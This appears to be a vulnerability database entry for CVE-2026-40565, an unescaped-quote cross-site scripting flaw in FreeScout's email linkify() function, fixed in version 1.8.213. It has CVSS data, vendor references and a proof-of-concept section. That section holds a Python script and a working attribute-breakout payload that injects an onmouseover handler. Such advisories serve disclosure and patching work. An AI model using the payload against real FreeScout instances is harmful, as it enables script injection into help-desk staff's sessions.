Security Vulnerability Report
中文
CVE-2026-40565 CVSS 6.1 MEDIUM

CVE-2026-40565

Published: 2026-04-21 16:16:20
Last Modified: 2026-04-22 17:34:33

Description

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, FreeScout's linkify() function in app/Misc/Helper.php converts plain-text URLs in email bodies into HTML anchor tags without escaping double-quote characters (") in the URL. HTMLPurifier (called first via getCleanBody()) preserves literal " characters in text nodes. linkify() then wraps URLs including those " chars inside an unescaped href="..." attribute, breaking out of the href and injecting arbitrary HTML attributes. Version 1.8.213 fixes the issue.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:* - VULNERABLE
FreeScout < 1.8.213

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-40565 # This script demonstrates the payload generation. # Send an email containing this payload to a FreeScout instance. import requests target_url = "https://your-freescout-instance.com/api/emails" # Example endpoint # The malicious URL containing an unescaped double quote # This breaks out of the href attribute and injects an onmouseover event malicious_payload = 'https://example.com" onmouseover="alert(1)" ' email_data = { "subject": "Testing CVE-2026-40565", "body": f"Please check this link: {malicious_payload}", "from": "[email protected]" } # In a real scenario, the attacker would send this email via SMTP or API # When FreeScout processes this email, the linkify() function will generate: # <a href="https://example.com" onmouseover="alert(1)" ">...</a> print(f"Payload to be sent in email body: {malicious_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40565", "sourceIdentifier": "[email protected]", "published": "2026-04-21T16:16:20.390", "lastModified": "2026-04-22T17:34:32.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, FreeScout's linkify() function in app/Misc/Helper.php converts plain-text URLs in email bodies into HTML anchor tags without escaping double-quote characters (\") in the URL. HTMLPurifier (called first via getCleanBody()) preserves literal \" characters in text nodes. linkify() then wraps URLs including those \" chars inside an unescaped href=\"...\" attribute, breaking out of the href and injecting arbitrary HTML attributes. Version 1.8.213 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.213", "matchCriteriaId": "EA97ED0A-4886-4583-9D20-47BE39C40B01"}]}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/265379b3ae343f06846adc0aa8510643d1eac2df", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-49pm-xwqj-vwjp", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-49pm-xwqj-vwjp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}